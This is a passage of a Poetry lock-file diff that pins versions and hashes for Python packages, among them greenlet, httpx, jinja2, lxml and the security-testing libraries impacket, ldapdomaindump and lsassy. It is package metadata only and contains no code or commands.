"greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:86c5113d698cb8d927b2750bb1f1d59eefe3a37e0e0217491aee29a7f84ef52c"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56"}, + {file = "greenlet-3.5.5-cp310-cp310-manylinux_2_39_riscv64.whl", hash = "sha256:c69bed34470abfcd456984fdadaa18e62169af4480335c45f3c32d1d9c12e638"}, + {file = "greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0"}, + {file = "greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4"}, + {file = "greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc"}, + {file = "greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61"}, + {file = "greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c"}, + {file = "greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da"}, + {file = "greenlet-3.5.5-cp311-cp311-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:abc8bc8d9f935cd685457545b6a53863a877fdc12c2c0f5ee9beee18d9db139c"}, + {file = "greenlet-3.5.5-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:74cc6df89ec5302337adc9cf096221cbed2510fd444b0e0f1586cf0470740864"}, + {file = "greenlet-3.5.5-cp311-cp311-manylinux_2_39_riscv64.whl", hash = "sha256:3134291427bb0f3526e9d90311988caf336eb43730e95244997a4fb15f45144f"}, + {file = "greenlet-3.5.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6d9b454c5fc48aeaa7c4337813dbf513a6870468e426438a04d922c6d0fe63db"}, + {file = "greenlet-3.5.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:03551ed792cb1b4fc0277a0c60dfd8c343894a0ba06fe60dcd22f568b433da39"}, + {file = "greenlet-3.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:ab3df3dffb58bf70564e93a5cec7941e4d9faa5a36cc4234a10d3131afe04f53"}, + {file = "greenlet-3.5.5-cp311-cp311-win_arm64.whl", hash = "sha256:2b70a766135540c472ac1393d57c2e1b4a2eb85bf526a1e41e6d096173a8cee5"}, + {file = "greenlet-3.5.5-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:49520f0c95a48b42cf55414b8e8479beb274ea70431afc33e3f79903c71f4380"}, + {file = "greenlet-3.5.5-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55272212cbc5f43d1d723725ab931f1939969b7e9523882ca58b55061769d053"}, + {file = "greenlet-3.5.5-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655bca754a2ef4efcb0eb48a94d3f4593536d0f3d48f8ed44343c01d16a92f95"}, + {file = "greenlet-3.5.5-cp312-cp312-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6ca5d6ae0739e5764f2cfcfaa562ac5a990cbdaedca93251c5e3cf07c362371f"}, + {file = "greenlet-3.5.5-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:147b25a42e5ca5be3d42356e8f608b37af715a1c196e9bf9d1627f3341adfe1d"}, + {file = "greenlet-3.5.5-cp312-cp312-manylinux_2_39_riscv64.whl", hash = "sha256:1b5ed9162c0c098e0bbc2cf88a94f433c1b8926f831745252e099e5d83e17759"}, + {file = "greenlet-3.5.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:27493374cff1d1b7919dc8126547f2aea582737e3046147b434b1e12de56389b"}, + {file = "greenlet-3.5.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:12e2ee66c2aba86133f10fd99d6a8856c6d351ffb7be0e4d52ef2cc5fbb705b2"}, + {file = "greenlet-3.5.5-cp312-cp312-win_amd64.whl", hash = "sha256:49ddacd36af37735fab103846f4ee4d18a492dde72730d1699c0c8ebe30d9f18"}, + {file = "greenlet-3.5.5-cp312-cp312-win_arm64.whl", hash = "sha256:5f1b1ff4828cdc1aba4266aff814085d04a1d07959287219af021b838b265d52"}, + {file = "greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb7529fb4b6e8446057d61b6edaa"}, + {file = "greenlet-3.5.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:634cf15a233a949136879dd388e25d3296e16f3f1e217d2456797b8579ebc6ed"}, + {file = "greenlet-3.5.5-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:499adea519f748407fc6806d20eedabac2884fd73b9f38d81236e190ba20dfef"}, + {file = "greenlet-3.5.5-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7278591501941bb2456af102bb9cd59aab48c6cfd6e2dd68fa1290bb0c49a42"}, + {file = "greenlet-3.5.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2eabb980975cba5b93a95f6f69287d05fc05ac955bfd6a320a7c083eeb52c0b0"}, + {file = "greenlet-3.5.5-cp313-cp313-manylinux_2_39_riscv64.whl", hash = "sha256:4dfc7c4470354e7b09184d1a3a985761053a2fd694ddb5b5c80242afc2c8c90b"}, + {file = "greenlet-3.5.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:03115c2e0a371999bf8ae616aa8d653f96641d4705c457aebaa187276e9f7537"}, + {file = "greenlet-3.5.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4441153ffba21b90d3ca89fe3d31f5c093ae6c0bf0cfdfc98f54cde22f95b62e"}, + {file = "greenlet-3.5.5-cp313-cp313-win_amd64.whl", hash = "sha256:95c5b1f4b3a193f8a0c2de4bfdcb48d119f7f1063941f1de1f2168051b3e52dd"}, + {file = "greenlet-3.5.5-cp313-cp313-win_arm64.whl", hash = "sha256:1af90aa4bc129883b340cdd6957a3bc74f60528a4993bbd1f53aaebe1d9981cc"}, + {file = "greenlet-3.5.5-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d4a389a852e392a6366058651a20fa5ba40d979865aa81bea2ccbdc44805070d"}, + {file = "greenlet-3.5.5-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70b157cd319873e8b544ddc2de158f55bbd0a9b0218c8ce9332039801518e328"}, + {file = "greenlet-3.5.5-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8bdfd1424abcf26832961e766570cae79efdb9599d709088c9cb6ef82b194926"}, + {file = "greenlet-3.5.5-cp314-cp314-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d98ef6f92e67c6dbf299dbfd8facc1b0d2d9cedf91e325e73b3d0373fe4309d8"}, + {file = "greenlet-3.5.5-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:182de51c6b572a705f2fafaab2e783bcf7d2760940229dfe73086cbae037af3e"}, + {file = "greenlet-3.5.5-cp314-cp314-manylinux_2_39_riscv64.whl", hash = "sha256:159df1942d88e8f784cbb38d6f18bdb365cd11319cfbb3e89623de2b97892d53"}, + {file = "greenlet-3.5.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8fec3f165dfe332e490c3247c0f6c23b0bfc45f06496ad7f00ddb00e3d35e4dc"}, + {file = "greenlet-3.5.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c6ce25fee6cabc8bf22cb8b52e642cbb821be5b9aec8094d07ff03378141b8e9"}, + {file = "greenlet-3.5.5-cp314-cp314-win_amd64.whl", hash = "sha256:7dffc5c859fe6059974df1e37d7923d654a83e2ae18fdd616994270e001115e1"}, + {file = "greenlet-3.5.5-cp314-cp314-win_arm64.whl", hash = "sha256:5e2afcfc4d4305dd715809b03da5cbe437c8984f61d8917751eb5fe4aefa3e07"}, + {file = "greenlet-3.5.5-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:0e5a7de979d764aea1f5b6e95cf92b5b37741b9823702041f34b126e7f690277"}, + {file = "greenlet-3.5.5-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fef01bd457f11fc158b130ca0027a3c365693280e8e231b65bdaf57999f39f5b"}, + {file = "greenlet-3.5.5-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5173a72310725a74afc82c164f0e52cb8ad0de62f2bb623f24f6c0cc07d80272"}, + {file = "greenlet-3.5.5-cp314-cp314t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5e9ec2e7c98e895fcea0c5cc57b2606cf86ece6d0a56578f3eb225e2af4f0387"}, + {file = "greenlet-3.5.5-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44f08341873200ba8a60a8bc14ace3d91f1754f7fa7bc66157714a8cd420a476"}, + {file = "greenlet-3.5.5-cp314-cp314t-manylinux_2_39_riscv64.whl", hash = "sha256:102817506f6090b5176c746a82603341a549b40e5c3d5b72a4c672228a918c41"}, + {file = "greenlet-3.5.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d246c0db9a2513cd45f019ba178ea4d4d4705bd210ee465e2c15d76a1ab13874"}, + {file = "greenlet-3.5.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:72507285b5caa1d17904a3f7c322ca780823a54170a0e04ec3f37bcc60d4db71"}, + {file = "greenlet-3.5.5-cp314-cp314t-win_amd64.whl", hash = "sha256:7805655781fb8f28a55d05fe57ed61f5f10f1892fb587673e3bb5264f28041f0"}, + {file = "greenlet-3.5.5-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:c0db80fcd5b8aece93f66c64f78a786bbb6b96c5fe63ef5a5a4581ecf8bab206"}, + {file = "greenlet-3.5.5-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b241c32f912ada659808d68e308c568baf577eebf757d15471472de0c18cfad"}, + {file = "greenlet-3.5.5-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef6a08349401d8eaf3cb12688ac8557de95788556b8631ef17555a4a173022c0"}, + {file = "greenlet-3.5.5-cp315-cp315-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:37faa97daccb6d9f4c2141ce3118d023c3c5506864a7d8bdf726f665018c1f76"}, + {file = "greenlet-3.5.5-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f2e3d061b8e13aec2f0441689b3c71b244a20e5d274a52cb0f7e31bd1d139552"}, + {file = "greenlet-3.5.5-cp315-cp315-manylinux_2_39_riscv64.whl", hash = "sha256:b18007dc2473a7942fd157366b55f01da6fed7ce85318591005b419e0a439474"}, + {file = "greenlet-3.5.5-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:9ab5f5b93655e77fe0d6c2dfd22b5eac751bb1f876d8ec21761b7c1fb9266007"}, + {file = "greenlet-3.5.5-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:f0e5a21bd4452a88cf032fc43c4a5b307ab1380eacb63b5988f9c0317885e773"}, + {file = "greenlet-3.5.5-cp315-cp315-win_amd64.whl", hash = "sha256:469dbb0a78625642f4a626cfd0c6e8bccc0385b5e49189b6308bbe849ec88a8e"}, + {file = "greenlet-3.5.5-cp315-cp315-win_arm64.whl", hash = "sha256:2d57406c3efd32d7a81e17a674314e8bd00792cdab49ea3228a49aa1bfb2e769"}, + {file = "greenlet-3.5.5-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:68184dfcf50ccaa8e864770fe0633a7e27250ea9329f8192ef47ee9ecfd78e1c"}, + {file = "greenlet-3.5.5-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9ec0dc0e59dc9c61af5c47348365ccbbd7addfafe0a93b00336ff3da2907bdc6"}, + {file = "greenlet-3.5.5-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e604f58e35833fc46ef20302bcb314dddbfd3fcf33a4f936216d51dd678d63ae"}, + {file = "greenlet-3.5.5-cp315-cp315t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2888a3a38bc5ee5bb6c438372197152e815837e4fab7ed7a1f86ef18ffd58ad1"}, + {file = "greenlet-3.5.5-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40239b5384f96da3963585cc6d7eaa9b56f8ae67e8d92cc82dd9e202fc847de3"}, + {file = "greenlet-3.5.5-cp315-cp315t-manylinux_2_39_riscv64.whl", hash = "sha256:1e8d9391fe77f15649589a907cef972dbbd6352ef7ff7dc0492f658c0c26495f"}, + {file = "greenlet-3.5.5-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:a1eaccf5c3a1d3e46dead602c72e6836731e8e245c9de6a27764567b6b62d4c0"}, + {file = "greenlet-3.5.5-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:19e4e026fe20691f333b8eb1a3bc9625eceba8c3f9d62ec5a6f8581afbc6b5a5"}, + {file = "greenlet-3.5.5-cp315-cp315t-win_amd64.whl", hash = "sha256:712aee154f648bde84634654bb38bb78c69ac640c37a45c9effed800735049d8"}, + {file = "greenlet-3.5.5-cp315-cp315t-win_arm64.whl", hash = "sha256:7f049911ee81a16a03c33d5450d8d5867d27f596ca5fb201b86f4524e874468b"}, + {file = "greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c"}, +] + +[package.extras] +docs = ["Sphinx", "furo"] +test = ["objgraph", "psutil", "setuptools"] + +[[package]] +name = "h11" +version = "0.16.0" +description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, +] + +[[package]] +name = "httpcore" +version = "1.0.9" +description = "A minimal low-level HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, + {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, +] + +[package.dependencies] +certifi = "*" +h11 = ">=0.16" + +[package.extras] +asyncio = ["anyio (>=4.0,<5.0)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +trio = ["trio (>=0.22.0,<1.0)"] + +[[package]] +name = "httpx" +version = "0.28.1" +description = "The next generation HTTP client." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, + {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, +] + +[package.dependencies] +anyio = "*" +certifi = "*" +httpcore = "==1.*" +idna = "*" + +[package.extras] +brotli = ["brotli ; platform_python_implementation == \"CPython\"", "brotlicffi ; platform_python_implementation != \"CPython\""] +cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] +http2 = ["h2 (>=3,<5)"] +socks = ["socksio (==1.*)"] +zstd = ["zstandard (>=0.18.0)"] + +[[package]] +name = "idna" +version = "3.18" +description = "Internationalized Domain Names in Applications (IDNA)" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2"}, + {file = "idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848"}, +] + +[package.extras] +all = ["mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + +[[package]] +name = "impacket" +version = "0.14.0.dev0+20261001.122511.1875828d" +description = "Network protocols Constructors and Dissectors" +optional = false +python-versions = "*" +groups = ["main"] +files = [] +develop = false + +[package.dependencies] +charset_normalizer = "*" +flask = ">=1.0" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" +ldapdomaindump = ">=0.9.0" +pyasn1 = ">=0.2.3" +pyasn1_modules = "*" +pycryptodomex = "*" +pyOpenSSL = "*" +pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} +six = "*" + +[package.source] +type = "git" +url = "https://github.com/fortra/impacket" +reference = "HEAD" +resolved_reference = "1875828d0f2e987cd89c1bcb45f843708981a199" + +[[package]] +name = "iniconfig" +version = "2.3.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.10" +groups = ["dev"] +files = [ + {file = "iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12"}, + {file = "iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730"}, +] + +[[package]] +name = "invoke" +version = "3.0.3" +description = "Pythonic task execution" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "invoke-3.0.3-py3-none-any.whl", hash = "sha256:f11327165e5cbb89b2ad1d88d3292b5113332c43b8553b494da435d6ec6f5053"}, + {file = "invoke-3.0.3.tar.gz", hash = "sha256:437b6a622223824380bfb4e64f612711a6b648c795f565efc8625af66fb57f0c"}, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +description = "Safely pass data to untrusted environments and back." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef"}, + {file = "itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173"}, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +description = "A very fast and expressive template engine." +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, + {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jwt" +version = "1.4.0" +description = "JSON Web Token library for Python 3." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "jwt-1.4.0-py3-none-any.whl", hash = "sha256:7560a7f1de4f90de94ac645ee0303ac60c95b9e08e058fb69f6c330f71d71b11"}, + {file = "jwt-1.4.0.tar.gz", hash = "sha256:f6f789128ac247142c79ee10f3dba6e366ec4e77c9920d18c1592e28aa0a7952"}, +] + +[package.dependencies] +cryptography = ">=3.1,!=3.4.0" + +[package.extras] +dev = ["black", "isort", "mypy", "types-freezegun"] +test = ["freezegun", "pytest (>=6.0,<7.0)", "pytest-cov"] + +[[package]] +name = "ldap3" +version = "2.9.1" +description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, + {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, +] + +[package.dependencies] +pyasn1 = ">=0.4.6" + +[[package]] +name = "ldapdomaindump" +version = "0.10.0" +description = "Active Directory information dumper via LDAP" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "ldapdomaindump-0.10.0-py3-none-any.whl", hash = "sha256:3797259596df7a5e1fda98388c96b1d94196f5da5551f1af1aaeedda0c9f5a11"}, + {file = "ldapdomaindump-0.10.0.tar.gz", hash = "sha256:cbc66b32a7787473ffd169c5319acde46c02fdc9d444556e6448e0def91d3299"}, +] + +[package.dependencies] +dnspython = "*" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" + +[[package]] +name = "lsassy" +version = "3.1.16" +description = "Python library to extract credentials from lsass remotely" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "lsassy-3.1.16-py3-none-any.whl", hash = "sha256:e2672e193815db96ddb3078c6bda1c3e96d425a1072690bf8b8fc17b417c8c2e"}, + {file = "lsassy-3.1.16.tar.gz", hash = "sha256:6948360f396c4c704643faadeff5fa5d18336ccc446806ad24e7937e531c57a3"}, +] + +[package.dependencies] +impacket = ">=0.11.0" +netaddr = ">=1.3.0" +pypykatz = ">=0.6.9" +rich = ">=13.7.1" + +[package.extras] +dev = ["pre-commit (>=3.7.1)", "ruff (>=0.5.1)"] + +[[package]] +name = "lxml" +version = "6.1.1" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:09dd5b7075dc2f7709654a46543ba1ea3c2e217b2ed8fbd413a8a945a0f40f60"}, + {file = "lxml-6.1.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:f6ac4ef4d82dff54670227a69c67782ae0b811b5cf6b17954f1e8f7502fc0d1d"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:556e94a63c9b04716f8e4de2abb65775061f846e89331b6c5be79183a24f98ea"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5c6bf403fbb3b3e348a561a5f4f0b9961835657981c802a1df03653eef8a9074"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1dde6131244bba38a17c745836ba190bc753fd73c9291666287fd0a3fa3dcf30"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98fc784c2c1440667aeedf8465bdfe10208acf0ead656a2c68627299f546b315"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:add8cf6ddf9a65116119a28ece0f7886e30af27ba724a7594305f1d1b58a92a1"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:cf9d57306d848218f3601fee7601fab1a327c942d56e2e97610583cb4dd74206"}, + {file = "lxml-6.1.1-cp310-cp310-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:88136950da4d13c318bde414ce10219931937851327f44328f2df4d2c4614067"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:cecdd5dfdc87b1fd87dbf81d4b037a544f47f4c744200a67013771682d67686a"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:cd312b9692e831d2ffcad61eab31d91d4b4655a962e61de8fb410472cbcd37aa"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:5b7328b46d49fc9477d91ae8f6d55340347d827b7734ba3ea33faae0efef1383"}, + {file = "lxml-6.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:37a58976370f36d9329d118ad0b953c5aeb9119ac9c6a4e258942a225d0573a1"}, + {file = "lxml-6.1.1-cp310-cp310-win32.whl", hash = "sha256:cea3f4c1af79af13cdb2da0c028111d8f8522d4f22a000c82385535f24e5cf3a"}, + {file = "lxml-6.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:3abf332af33a74288675d936fe861fd4344da0dd6622193fbc4f2bfbb35536b5"}, + {file = "lxml-6.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:8dadbe5b217ff35b6a8d16610dd710219b59b76d13f0e3f0d9f36786206e4485"}, + {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:53b7d2b7a10b1c35c0a5e21e9224accf60c1bbfba523990732e521b2b73adef2"}, + {file = "lxml-6.1.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ff3f333630ab480244a1bff72043e511a91eb22e7595dead8653ee5612dd8f3d"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a4bbea04c97f6d78a48e3fbc1cb9116d2780b1b39e03a23f6eb9b603fd61f510"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db1d75f6617a49c1c01bc7023713e0ff59ab32c9579ae62a7674c0e34f3b0b0a"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6"}, + {file = "lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c"}, + {file = "lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08"}, + {file = "lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621"}, + {file = "lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28"}, + {file = "lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b"}, + {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7"}, + {file = "lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc"}, + {file = "lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc"}, + {file = 